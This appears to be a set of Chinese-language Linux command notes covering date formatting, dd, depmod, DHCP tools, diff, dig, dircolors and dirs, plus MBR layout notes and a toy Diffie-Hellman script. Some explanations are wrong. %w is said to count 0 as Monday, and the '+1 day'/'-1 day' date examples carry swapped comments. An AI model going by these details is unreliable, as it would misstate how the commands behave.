  %D	按月计的日期;等于%m/%d/%y
  %e	按月计的日期,添加空格,等于%_d
  %F	完整日期格式,等价于 %Y-%m-%d
  %g	ISO-8601 格式年份的最后两位 (参见%G)
  %G	ISO-8601 格式年份 (参见%V),一般只和 %V 结合使用
  %h	等于%b
  %H	小时(00-23)
  %I	小时(00-12)
  %j	按年计的日期(001-366)
  %k   hour, space padded ( 0..23); same as %_H
  %l   hour, space padded ( 1..12); same as %_I
  %m   month (01..12)
  %M   minute (00..59)
  %n	换行
  %N	纳秒(000000000-999999999)
  %p	当前locale 下的"上午"或者"下午",未知时输出为空
  %P	与%p 类似,但是输出小写字母
  %r	当前locale 下的 12 小时时钟时间 (如:11:11:04 下午)
  %R	24 小时时间的时和分,等价于 %H:%M
  %s	自UTC 时间 1970-01-01 00:00:00 以来所经过的秒数
  %S	秒(00-60)
  %t	输出制表符 Tab
  %T	时间,等于%H:%M:%S
  %u	星期,1 代表星期一
  %U	一年中的第几周,以周日为每星期第一天(00-53)
  %V	ISO-8601 格式规范下的一年中第几周,以周一为每星期第一天(01-53)
  %w	一星期中的第几日(0-6),0 代表周一
  %W	一年中的第几周,以周一为每星期第一天(00-53)
  %x	当前locale 下的日期描述 (如:12/31/99)
  %X	当前locale 下的时间描述 (如:23:13:48)
  %y	年份最后两位数位 (00-99)
  %Y	年份
  %z +hhmm		数字时区(例如,-0400)
  %:z +hh:mm		数字时区(例如,-04:00)
  %::z +hh:mm:ss	数字时区(例如,-04:00:00)
  %:::z			数字时区带有必要的精度 (例如,-04,+05:30)
  %Z			按字母表排序的时区缩写 (例如,EDT)

默认情况下,日期的数字区域以0 填充。
The following optional flags may follow '%':

  -  (hyphen) do not pad the field
  _  (underscore) pad with spaces
  0  (zero) pad with zeros
  ^  use upper case if possible
  #  use opposite case if possible

在任何标记之后还允许一个可选的域宽度指定,它是一个十进制数字。
作为一个可选的修饰声明,它可以是E,在可能的情况下使用本地环境关联的
表示方式;或者是O,在可能的情况下使用本地环境关联的数字符号。

Examples:
Convert seconds since the epoch (1970-01-01 UTC) to a date
  $ date --date='@2147483647'

Show the time on the west coast of the US (use tzselect(1) to find TZ)
  $ TZ='America/Los_Angeles' date

Show the local time for 9AM next Friday on the west coast of the US
  $ date --date='TZ="America/Los_Angeles" 09:00 next Fri'

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
请向<http://translationproject.org/team/zh_CN.html> 报告date 的翻译错误
要获取完整文档,请运行:info coreutils 'date invocation'
```



```bash
# Print date in format suitable for affixing to file names
date +"%Y%m%d_%H%M%S"

# Convert Unix timestamp to Date(Linux)
date -d @1440359821

# Convert Unix timestamp to Date(Mac)
date -r 1440359821



#格式化输出:

date +"%Y-%m-%d"
2009-12-07


#输出昨天日期:

date -d "1 day ago" +"%Y-%m-%d"
2012-11-19


#2秒后输出:

date -d "2 second" +"%Y-%m-%d %H:%M.%S"
2012-11-20 14:21.31


#传说中的 1234567890 秒:

date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%m:%S"
2009-02-13 23:02:30


#普通转格式:

date -d "2009-12-12" +"%Y/%m/%d %H:%M.%S"
2009/12/12 00:00.00


#apache格式转换:

date -d "Dec 5, 2009 12:00:37 AM" +"%Y-%m-%d %H:%M.%S"
2009-12-05 00:00.37

#格式转换后时间游走:

date -d "Dec 5, 2009 12:00:37 AM 2 year ago" +"%Y-%m-%d %H:%M.%S"
2007-12-05 00:00.37

#加减操作:

date +%Y%m%d                   //显示前天年月日
date -d "+1 day" +%Y%m%d       //显示前一天的日期
date -d "-1 day" +%Y%m%d       //显示后一天的日期
date -d "-1 month" +%Y%m%d     //显示上一月的日期
date -d "+1 month" +%Y%m%d     //显示下一月的日期
date -d "-1 year" +%Y%m%d      //显示前一年的日期
date -d "+1 year" +%Y%m%d      //显示下一年的日期

#设定时间:

date -s                        //设置当前时间,只有root权限才能设置,其他只能查看
date -s 20120523               //设置成20120523,这样会把具体时间设置成空00:00:00
date -s 01:01:01               //设置具体时间,不会对日期做更改
date -s "01:01:01 2012-05-23"  //这样可以设置全部时间
date -s "01:01:01 20120523"    //这样可以设置全部时间
date -s "2012-05-23 01:01:01"  //这样可以设置全部时间
date -s "20120523 01:01:01"    //这样可以设置全部时间

sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename]
#就地查找/替换后备日期戳

date --date="1 fortnight ago"
#计算相隔一段时间的日期

date -d 09/20/1981 +"%Y-%m-%d"
转换日期格式

sudo date -s "26 OCT 2008 19:30:00"
#设置时间

tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
#压缩成带有时间文件名的文件

date +%s
#显示时间戳

date -R -d @1234567890
#本地的Unix格式时间

echo $(( (1234567890 - `date -u +\%s`) / 60 / 60 ))
#时间 1234567890 到现在有多少小时

cp /really/long/path/and/file/name{,-`date -I`}
#把文件复制到文件名-今天日期

if [[ `:$(cal);echo $_` == `date +%d` ]]; then ROTATE_MONTHLY_TABLES_SCRIPT;fi
#只有月末运行


date -d "yesterday" +%F
date -d "10 month" +%F
date -d "10 year" +%F

date -d "$(LC_TIME=C date)"
date --date='2 days ago'
date --date='3 months 1 day'
date --date='25 Dec' +%j
date -d '1may '+%B %-d
date --set='+2 minutes'
date --date='1970-01-01 00:02:00 +0000' +%s
date --date='1970-01-01 00:02:00' +%s
date --date='2000-01-01 UTC' +%s
date -u --date=2000-01-01 +%s
date -d '1970-01-01 UTC 946684800 seconds' +"%Y-%m-%d %T %z"
date -d @946684800 +"%F %T %z"
date -u -d '1970-01-01 946684800 seconds' +"%Y-%m-%d %T %z"
date --date='2012-06-30 23:59:59 +0000' +%s
date --date='2012-06-30 23:59:60 +0000' +%s
date --date='2012-07-01 00:00:00 +0000' +%s
date --date='2012-06-30 23:59:59 +0000' +%s
date --date='2012-06-30 23:59:60 +0000' +%s
date --date='2012-07-01 00:00:00 +0000' +%s
```
script:

```bash
#!/bin/bash
# 检查一组命令花费的时间
start=$(date +%s)
nmap man.linuxde.net &> /dev/null

end=$(date +%s)
difference=$(( end - start ))
echo $difference seconds.
```
!01. 简介
:<div>

```
dd命令用于复制文件并对原文件的内容进行转换和格式化处理。dd命令功能很强大的,对于一些比较底层的问题,使用dd命令往往可以得到出人意料的效果。用的比较多的还是用dd来备份裸设备。但是不推荐,如果需要备份oracle裸设备,可以使用rman备份,或使用第三方软件备份,使用dd的话,管理起来不太方便。

建议在有需要的时候使用dd 对物理磁盘操作,如果是文件系统的话还是使用tar backup cpio等其他命令更加方便。另外,使用dd对磁盘操作时,最好使用块设备文件。
```
</div>

!02. 选项
:<div>

```
bs=<字节数>:将ibs(输入)与obs(输出)设成指定的字节数;
cbs=<字节数>:转换时,每次只转换指定的字节数;
conv=<关键字>:指定文件转换的方式;
count=<区块数>:仅读取指定的区块数;
ibs=<字节数>:每次读取的字节数;
obs=<字节数>:每次输出的字节数;
of=<文件>:输出到文件;
seek=<区块数>:一开始输出时,跳过指定的区块数;
skip=<区块数>:一开始读取时,跳过指定的区块数;
--help:帮助;
--version:显示版本信息。
```
</div>


!示例
:<div>

```
[root@localhost text]# dd if=/dev/zero of=sun.txt bs=1M count=1
1+0 records in
1+0 records out
1048576 bytes (1.0 MB) copied, 0.006107 seconds, 172 MB/s

[root@localhost text]# du -sh sun.txt 
1.1M    sun.txt
```

;参数解释:

:''if'' 代表输入文件。如果不指定if,默认就会从stdin中读取输入。

:''of'' 代表输出文件。如果不指定of,默认就会将stdout作为默认输出。

:''bs'' 代表字节为单位的块大小。

:''count'' 代表被复制的块数。

:''/dev/zero'' 是一个字符设备,会不断返回0值字节(\0)。

</div>
;declare命令用于声明和显示已存在的shell变量。
;当不提供变量名参数时显示所有shell变量。


* 选项

:<div>

```bash
+/-:"-"可用来指定变量的属性,"+"则是取消变量所设的属性;
-a  数组
-A  数组
-l   lower
-u  upper
-g  全局变量
-p  打印制定变量属性,不指定变量则打印所有变量属性
-r   readonly
-f:仅显示函数;
-F  仅显示函数名
-r:将变量设置为只读;
-x:指定的变量会成为环境变量,可供shell以外的程序来使用;
-i:[设置值]可以是数值,字符串或运算式。
```
</div>


!!简介
:<div>
depmod
===

分析可载入模块的相依性

</div>

!! 补充说明

:<div>


"depmod命令" 可产生模块依赖的映射文件,在构建嵌入式系统时,需要由这个命令来生成相应的文件,由modprobe使用。

</div>

!! 语法  

:<div>


```
depmod(选项)
```

</div>

!! 选项  

:<div>


```
-a或--all:分析所有可用的模块;
-d或debug:执行排错模式;
-e:输出无法参照的符号;
-i:不检查符号表的版本;
-m<文件>或system-map<文件>:使用指定的符号表文件;
-s或--system-log:在系统记录中记录错误;
-v或--verbose:执行时显示详细的信息;
-V或--version:显示版本信息;
--help:显示帮助。
```

</div>

!! 实例  

:<div>


```
depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
```

*   `/home/windsome/EMMA3PF-KernelSource-20080626/install_pos`是我`make mod_install`后,所有模块的存放路径。
*   `./boot/System.map`是`make linux`后生成,我拷贝到此目录的。
*   `2.6.18_pro500-bcm91250-mips2_fp_be`是我build的linux的版本。

编译linux过程及执行depmod的例子:

```
genkernel.sh (at linux-2.6.18_pro500)
</div>

!!!!#

:<div>

export INSTALL_ROOT_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
export INSTALL_MOD_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/lib -rf
rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/* -rf
cd <linux_src_dir>
make
make modules_install
cp vmlinux System.map /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/ -p
cd /home/windsome/EMMA3PF-KernelSource-20080626/install_pos
depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
```

其他用法:

在linux桌面系统中,当你编译了新的驱动,为了能够用`modprobe "*`加载模块, 你需要先将模块拷贝到`/lib/modules /2.6.31-20-generic`目录下,然后运行`sudo depmod -a`将模块信息写入modules.dep、modules.dep.bin、modules.alias.bin、modules.alias和modules.pcimap文件中。

如,我编译了一个新的wifi驱动r8192se_pci.ko,将其拷贝到`/lib/modules/2.6.31-20-generic/wireless`下,然后到`/lib/modules/2.6.31-20-generic`运行`depmod -a`,之后可以在任意目录运行modprobe r8192se_pci。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
<div class="cmd">

<<toc-selective-expandable 'desc'>>

</div>
;''DMA的英文拼写是“Direct Memory Access”''

:汉语的意思就是直接内存访问,是一种不经过CPU而直接从内存存取数据的数据交换模式。
:在DMA模式下,CPU只须向DMA控制器下达指令,让DMA控制器来处理数据的传送,数据传送完毕再把信息反馈给CPU,这样就很大程度上减轻了CPU资源占有率,可以大大节省系统资源。

DMA模式又可以分为Single-Word DMA(单字节DMA)和Multi-Word DMA(多字节DMA)两种,其中所能达到的最大传输速率也只有16.6MB/s。
PIO模式是一种通过CPU执行I/O端口指令来进行数据的读写的数据交换模式。

PIO的英文拼写是“Programming Input/Output Model”,是最早先的硬盘数据传输模式


`df [选项] [挂载点]`

!常用选项:

* -h  使用我们常用的容量单位显示,也就是KB,MG,GB

* -T  显示文件系统类型

* -m 以MB单位显示

* -k  以KB单位显示
```python
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import random
import math

def isprime(max_):
    nl = [1]*(max_+1)
    nl[1] = 0
    pl = list()
    len_ = max_
    for i in xrange(2,len_):
        if nl[i] != 0:
            pl.append(i)
            m = i
            m_max = (len_ -1)/i
            while m <= m_max:
                nl[i*m] = 0
                m += 1
    return random.choice(pl[-1000:])

class human:

    def __init__(self):
        self.key_list=list()
        self.prime_list=list()
        a=p=amod=bmod=key=x=0
        
    def get_amod(self):
        '''
        01. 生成x
        02. 生成amod
        '''
        self.x=random.randint(1,self.a)
        self.amod=(self.a**self.x)%self.p
        return self.amod

    def gen_key(self):
        key=(self.bmod**self.x)%self.p
        self.key_list.append(key)
        self.key=key
        return key

    def gen_ap(self):
        a=random.randint(1,1000)
        p=isprime(8**6)
        return a,p

def gen(u01,u02): 
    (a,p)=u01.gen_ap()
    if ((a,p)) not in u02.prime_list:

        u01.a,u01.p=u02.a,u02.p=a,p

        u01.prime_list.append((a,p))
        u02.prime_list.append((a,p))

        u01.bmod,u02.bmod=u02.get_amod(),u01.get_amod()

        print u01.gen_key(), u02.gen_key()

def main():
    u01=human()
    u02=human()
    for i in range(1,100):
        gen(u01,u02)

main()


```

!!简介
:<div>
dhclient
===

动态获取或释放IP地址

</div>

!! 补充说明

:<div>


"dhclient命令" 使用动态主机配置协议动态的配置网络接口的网络参数。

</div>

!! 语法  

:<div>


```
dhclient(选项)(参数)
```

</div>

!! 选项  

:<div>


```
0:指定dhcp客户端监听的端口号;
-d:总是以前台方式运行程序;
-q:安静模式,不打印任何错误的提示信息;
-r:释放ip地址。
```

</div>

!! 参数  

:<div>


网络接口:操作的网络接口。

</div>

!! 实例  

:<div>


```
dhclient -r     #释放IP
dhclient        #获取IP
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! install 
:<div>

```bash
yum install dhcp
```
</div>

! 相关文件
 
:<div>

```bash
# release database
/var/lib/dhcpd/dhcpd.leases
/var/lib/dhcpd/dhcpd6.leases

# service
/usr/lib/systemd/system/dhcpd.service
/usr/lib/systemd/system/dhcpd6.service
/usr/lib/systemd/system/dhcrelay.service

#
```
</div>
!!简介
:<div>
dhcpd
===

运行DHCP服务器。

</div>

!! 语法  

:<div>


```
dhcpd [选项] [网络接口]
```

</div>

!! 选项  

:<div>


```
-p <端口> 指定dhcpd监听的端口
-f 作为前台进程运行dhcpd
-d 启用调试模式
-q 在启动时不显示版权信息
-t 简单地测试配置文件的语法是否正确的,但不会尝试执行任何网络操作
-T 可以用来测试租约数据库文件
-4 运行DHCP服务器
-6 运行DHCPv6服务器
-s <服务器> 指定发送回复的服务器
-cf <配置文件> 指定配置文件
-lf <租约文件> 指定租约文件
-pf <PID文件> 指定PID文件
-tf <跟踪输出文件> 指定文件记录DHCP服务器的整个启动状态
```

</div>

!! 例子

:<div>


对DHCP服务器进行排错。

```bash
[root@localhost ~]# dhcpd
InternetSystems Consortium DHCP Server 4.1.1-P1
Copyright2004-2010 Internet Systems Consortium.
All rightsreserved.
For info,please visit https://www.isc.org/software/dhcp/
Not searchingLDAP since ldap-server, ldap-port and ldap-base-dn were not specified in theconfig file
Wrote 0deleted host decls to leases file.
Wrote 0 newdynamic host decls to leases file.
Wrote 1leases to leases file.
Listening onLPF/eth0/00:0c:29:fc:2f:e5/192.168.0.0/24
Sendingon  LPF/eth0/00:0c:29:fc:2f:e5/192.168.0.0/24
Sendingon   Socket/fallback/fallback-net
[root@rhel~]# There's already a DHCP server running.
 
This versionof ISC DHCP is based on the release available
onftp.isc.org.  Features have been addedand other changes
have beenmade to the base software release in order to make
it workbetter with this distribution.
 
exiting.
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dhcrelay
===

使用dhcrelay命令可以提供中继DHCP和BOOTP请求

</div>

!! 补充说明

:<div>


"dhcrelay命令" 使用dhcrelay命令可以提供中继DHCP和BOOTP请求,从一个没有DHCP服务器的子网直接连接到其它子网内的一个或多个DHCP服务器。该命令在DHCP中继服务器上使用,同时支持DHCPv4/BOOTP和DHCPv6协议。

</div>

!! 语法  

:<div>


```
dhcrelay [选项] [DHCP服务器]
```

</div>

!! 选项  

:<div>


```
-c <跳数> 当转发数据包时,dhcrelay丢弃已经达到一个最大跳数的数据包。默认值是10,最大值是255
-4 运行dhcrelay命令作为DHCPv4/BOOTP中继代理。这是默认操作模式
-6 运行dhcrelay命令作为DHCPv6中继代理
-q 安静模式
-p <端口> 监听和发送端口。DHCPv4/BOOTP默认端口是67,DHCPv6默认端口是547
-A <长度> 指定发送到DHCP服务器的最大数据包大小
-d 强制dhcrelay命令作为前台进程运行
```

</div>

!! 例子

:<div>


指定DHCP服务器的位置。

```bash
[root@localhost ~]# dhcrelay 192.168.0.2
Internet Systems Consortium DHCP Relay Agent4.1.1-P1
Copyright 2004-2010 Internet SystemsConsortium.
All rights reserved.
For info, please visithttps://www.isc.org/software/dhcp/
Listening on LPF/eth1/00:0c:29:fc:2f:ef
Sending on  LPF/eth1/00:0c:29:fc:2f:ef
Listening on LPF/eth0/00:0c:27:fc:25:ec
Sending on  LPF/eth0/00:0c:27:fc:25:ec
Sending on  Socket/fallback
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
diff
===

比较给定的两个文件的不同

</div>

!! 补充说明

:<div>


"diff命令" 在最简单的情况下,比较给定的两个文件的不同。如果使用“-”代替“文件”参数,则要比较的内容将来自标准输入。diff命令是以逐行的方式,比较文本文件的异同处。如果该命令指定进行目录的比较,则将会比较该目录中具有相同文件名的文件,而不会对其子目录文件进行任何比较操作。

</div>

!! 语法  

:<div>


```
diff(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用;
-a或——text:diff预设只会逐行比较文本文件;
-b或--ignore-space-change:不检查空格字符的不同;
-B或--ignore-blank-lines:不检查空白行;
-c:显示全部内容,并标出不同之处;
-C<行数>或--context<行数>:与执行“-c-<行数>”指令相同;
-d或——minimal:使用不同的演算法,以小的单位来做比较;
-D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集;
-e或——ed:此参数的输出格式可用于ed的script文件;
-f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处;
-H或--speed-large-files:比较大文件时,可加快速度;
-l<字符或字符串>或--ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异;
-i或--ignore-case:不检查大小写的不同;
-l或——paginate:将结果交由pr程序来分页;
-n或——rcs:将比较结果以RCS的格式来显示;
-N或--new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较;
-p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称;
-P或--unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较;
-q或--brief:仅显示有无差异,不显示详细的信息;
-r或——recursive:比较子目录中的文件;
-s或--report-identical-files:若没有发现任何差异,仍然显示信息;
-S<文件>或--starting-file<文件>:在比较目录时,从指定的文件开始比较;
-t或--expand-tabs:在输出时,将tab字符展开;
-T或--initial-tab:在每行前面加上tab字符以便对齐;
-u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同;
-v或——version:显示版本信息;
-w或--ignore-all-space:忽略全部的空格字符;
-W<宽度>或--width<宽度>:在使用-y参数时,指定栏宽;
-x<文件名或目录>或--exclude<文件名或目录>:不比较选项中所指定的文件或目录;
-X<文件>或--exclude-from<文件>;您可以将文件或目录类型存成文本文件,然后在=<文件>中指定此文本文件;
-y或--side-by-side:以并列的方式显示文件的异同之处;
--help:显示帮助;
--left-column:在使用-y参数时,若两个文件某一行内容相同,则仅在左侧的栏位显示该行内容;
--suppress-common-lines:在使用-y参数时,仅显示不同之处。
```

</div>

!! 参数  

:<div>


*   文件1:指定要比较的第一个文件;
*   文件2:指定要比较的第二个文件。

</div>

!! 实例  

:<div>


将目录`/usr/li`下的文件"test.txt"与当前目录下的文件"test.txt"进行比较,输入如下命令:

```
diff /usr/li test.txt     #使用diff指令对文件进行比较
```

上面的命令执行后,会将比较后的不同之处以指定的形式列出,如下所示:

```
n1 a n3,n4  
n1,n2 d n3  
n1,n2 c n3,n4 
```

其中,字母"a"、"d"、"c"分别表示添加、删除及修改操作。而"n1"、"n2"表示在文件1中的行号,"n3"、"n4"表示在文件2中的行号。

注意:以上说明指定了两个文件中不同处的行号及其相应的操作。在输出形式中,每一行后面将跟随受到影响的若干行。其中,以<开始的行属于文件1,以>开始的行属于文件2。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
diff3
===

比较3个文件不同的地方

</div>

!! 补充说明

:<div>


"diff3命令" 用于比较3个文件,将3个文件的不同的地方显示到标准输出。

</div>

!! 语法  

:<div>


```
diff3(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:把所有的文件都当做文本文件按照行为单位进行比较,即给定的文件不是文本文件;
-A:合并第2个文件和第3个文件之间的不同到第1个文件中,有冲突内容用括号括起来;
-B:与选项“-A”功能相同,但是不显示冲突的内容;
-e/--ed:生成一个“-ed”脚本,用于将第2个文件和第3个文件之间的不同合并到第1个文件中;
--easy-only:除了不显示互相重叠的变化,与选项“-e”的功能相同;
-i:为了和system V系统兼容,在“ed”脚本的最后生成“w”和“q”命令。此选项必须和选项“-AeExX3”连用,但是不能和“-m”连用;
--initial-tab:在正常格式的行的文本前,输出一个TAB字符而非两个空白字符。此选项将导致在行中TAB字符的对齐方式看上去规范。
```

</div>

!! 参数  

:<div>


*   文件1:指定要比较的第1个文件;
*   文件2:指定要比较的第2个文件;
*   文件3:指定要比较的第3个文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
diffstat
===

显示diff命令输出信息的柱状图

</div>

!! 补充说明

:<div>


"diffstat命令" 用来显示diff命令输出信息的柱状图,用以显示diff命令比较两个文件的不同统计信息。用户也可以直接使用`|`将diff命令所输出的结果直接送给diffstat命令进行统计结果的显示。使用该命令时,若所比较的文件或者子目录不在当前目录下,则应该使用其完整路径。

</div>

!! 语法  

:<div>


```
diffstat(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-n<文件名长度>:指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名;
-p<文件名长度>:与-n参数相同,但此处的<文件名长度>包括了文件的路径;
-w:指定要输出时栏位的宽度;
-v:显示版本信息。
```

</div>

!! 参数  

:<div>


文件:指定保存有diff命令的输出信息文件。

</div>

!! 实例  

:<div>


将目录"test1"和"test2"下的同名文件"testf.txt"使用diff命令进行比较。然后使用diffstat命令对结果进行统计显示,输入如下命令:

```
diff test1 test2 | diffstat    #进行比较结果的统计显示
```

注意:使用这条命令可以非常方便地实现统计显示的功能。

对于查看文件中的内容,用户可以通过cat命令进行查看即可,具体操作如下:

```
cat test1/testf.txt           #查看test1/testf的内容
abc
def
ghi
jkl
mno
pqr
stu
vws

cat test2/testf.txt          #查看test2/testf的内容
abc
def
ghi
jkl
mno
```

从上面的文件内容显示,可以看到两个文件内容的差别。现在来运行刚才的命令,对文件比较的结果进行统计显示,结果如下:

```
testfile | 2 +-             #统计信息输出显示
1 file changed, 1 insertion(+), 1 deletion(-)
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!选项

<div>

```
@<服务器地址>:指定进行域名解析的域名服务器;
-b<ip地址>:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求;
-f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息;
-P:指定域名服务器所使用端口号;
-t<类型>:指定要查询的DNS数据类型;
-x<IP地址>:执行逆向域名查询;
-4:使用IPv4;
-6:使用IPv6;
-h:显示指令帮助信息。
```
</div>

!示例
<div>

```bash
dig -t <domain_name> @<dns_server>
dig  ${domain_name} @${domain_server} ${options}
dig -t soa ${domain_name} @${domain_server}
dig -t mx ${domain_name} @${domain_server}
dig -t axfr ${domain_name} @${domain_server}
dig -t NS . @${domain_server}
```
</div>
!!简介
:<div>
dircolors
===

置ls命令在显示目录或文件时所用的色彩

</div>

!! 补充说明

:<div>


"dircolors命令" 设置ls命令在显示目录或文件时所用的色彩。dircolors可根据[色彩配置文件]来设置LS_COLORS环境变量或是显示设置LS_COLORS环境变量的命令。

</div>

!! 语法  

:<div>


```
dircolors(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b或--sh或--bourne-shell:显示在Boume shell中,将LS_COLORS设为目前预设置的shell指令;
-c或--csh或--c-shell:显示在C shell中,将LS_COLORS设为目前预设置的shell指令;
-p或--print-database:显示预设置;
-help:显示帮助;
-version:显示版本信息。
```

</div>

!! 参数  

:<div>


文件:指定用来设置颜色的文件。

</div>

!! 实例  

:<div>


```
[root@localhost ~]# dircolors -p
# Configuration file for dircolors, a utility to help you set the
# LS_COLORS environment variable used by GNU ls with the --color option.
# The keywords COLOR, OPTIONS, and EIGHTBIT (honored by the
# slackware version of dircolors) are recognized but ignored.
# Below, there should be one TERM entry for each termtype that is colorizable
TERM linux
TERM linux-c
TERM mach-color
TERM console
TERM con132x25
TERM con132x30
TERM con132x43
TERM con132x60
TERM con80x25
TERM con80x28
TERM con80x30
TERM con80x43
TERM con80x50
TERM con80x60
TERM cygwin
TERM dtterm
TERM putty
TERM xterm
TERM xterm-color
TERM xterm-debian
TERM rxvt
TERM screen
TERM screen-bce
TERM screen-w
TERM vt100
TERM Eterm
# Below are the color init strings for the basic file types. A color init
# string consists of one or more of the following numeric codes:
# Attribute codes:
# 00=none 01=bold 04=underscore 05=blink 07=reverse 08=concealed
# Text color codes:
# 30=black 31=red 32=green 33=yellow 34=blue 35=magenta 36=cyan 37=white
# Background color codes:
# 40=black 41=red 42=green 43=yellow 44=blue 45=magenta 46=cyan 47=white
NORMAL 00 # global default, although everything should be something.
FILE 00 # normal file
DIR 01;34 # directory
LINK 01;36 # symbolic link. (If you set this to 'target' instead of a
 # numerical value, the color is as for the file pointed to.)
FIFO 40;33 # pipe
SOCK 01;35 # socket
DOOR 01;35 # door
BLK 40;33;01 # block device driver
CHR 40;33;01 # character device driver
ORPHAN 40;31;01 # symlink to nonexistent file
SETUID 37;41 # file that is setuid (u+s)
SETGID 30;43 # file that is setgid (g+s)
STICKY_OTHER_WRITABLE 30;42 # dir that is sticky and other-writable (+t,o+w)
OTHER_WRITABLE 34;42 # dir that is other-writable (o+w) and not sticky
STICKY 37;44 # dir with the sticky bit set (+t) and not other-writable
# This is for files with execute permission:
exec 01;32
# List any file extensions like '.gz' or '.tar' that you would like ls
# to colorize below. Put the extension, a space, and the color init string.
# (and any comments you want to add after a '#')
# If you use DOS-style suffixes, you may want to uncomment the following:
#.cmd 01;32 # executables (bright green)
#.exe 01;32
#.com 01;32
#.btm 01;32
#.bat 01;32
.tar 01;31 # archives or compressed (bright red)
.tgz 01;31
.arj 01;31
.taz 01;31
.lzh 01;31
.zip 01;31
.z 01;31
.Z 01;31
.gz 01;31
.bz2 01;31
.deb 01;31
.rpm 01;31
.jar 01;31
# image formats
.jpg 01;35
.jpeg 01;35
.gif 01;35
.bmp 01;35
.pbm 01;35
.pgm 01;35
.ppm 01;35
.tga 01;35
.xbm 01;35
.xpm 01;35
.tif 01;35
.tiff 01;35
.png 01;35
.mov 01;35
.mpg 01;35
.mpeg 01;35
.avi 01;35
.fli 01;35
.gl 01;35
.dl 01;35
.xcf 01;35
.xwd 01;35
# audio formats
.flac 01;35
.mp3 01;35
.mpc 01;35
.ogg 01;35
.wav 01;35
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''dirname''命令去除文件名中的非目录部分,仅显示与目录有关的内容。

dirname命令读取指定路径名保留最后一个`/`及其后面的字符,删除其他部分,并写结果到标准输出。

如果最后一个`/`后无字符,dirname 命令使用倒数第二个`/`,并忽略其后的所有字符。

dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名。

!EXP
* <pre>

```bash
[root@vms01 ~]# dirname d1/d2/d3
d1/d2
[root@vms01 ~]# dirname d1/d2/d3/
d1/d2
```
</pre>
!!简介
:<div>
dirs
===

显示目录记录

</div>

!! 补充说明

:<div>


"dirs命令" 显示当前目录栈中的所有记录(不带参数的dirs命令显示当前目录栈中的记录)。dirs始终显示当然目录, 再是堆栈中的内容;即使目录堆栈为空, dirs命令仍然只显示当然目录。

</div>

!! 语法  

:<div>


```
dirs(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c:删除目录栈中的所有记录
-l:以完整格式显示
-p:一个目录一行的方式显示
-v:每行一个目录来显示目录栈的内容,每个目录前加上的编号
+N:显示从左到右的第n个目录,数字从0开始
-N:显示从右到左的第n个日录,数字从0开始

```

</div>

!! 参数  

:<div>


目录:显示目录堆叠中的记录。

</div>

!! 实例  

:<div>


```
[root@localhost etc]# dirs
/etc
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* MBR分区表: <pre>
 磁盘上最重要的数据结构,其中包含小段引导代码,磁盘信息,分区表等。
</pre>

[img[https://gss1.bdstatic.com/-vo3dSag_xI4khGkpoWK1HF6hhy/baike/c0%3Dbaike116%2C5%2C5%2C116%2C38/sign=63f306ef9e510fb36c147fc5b85aa3f0/8326cffc1e178a823c3f37f6f603738da977e861.jpg]]

[img[http://www.blogfshare.com/wp-content/uploads/images/ae5f70839817_121C0/image_thumb_4.png]]

* MBR的分区表结构<pre>

MBR分区表是一个64-byte的数据结构,用来识别磁盘分区类型和位置。每个分区表项都是16bytes,最多4个分区表。每个分区表项在开始扇区的位置是预定的。
    Partition 1   0x01BE   (446)
    Partition 2   0x01CE   (462)
    Partition 3   0x01DE   (478)
    Partition 4   0x01EE   (494)
在MBR的尾部有一个2-byte字段标记签名或分区结构的结束,总标记为0x55AA。
</pre>



```bash

dd if=/dev/sda of=ddmbr.img  bs=512 count=1
```

```python
def read(dev='/dev/sda'):
        fd = open(dev , "rb")
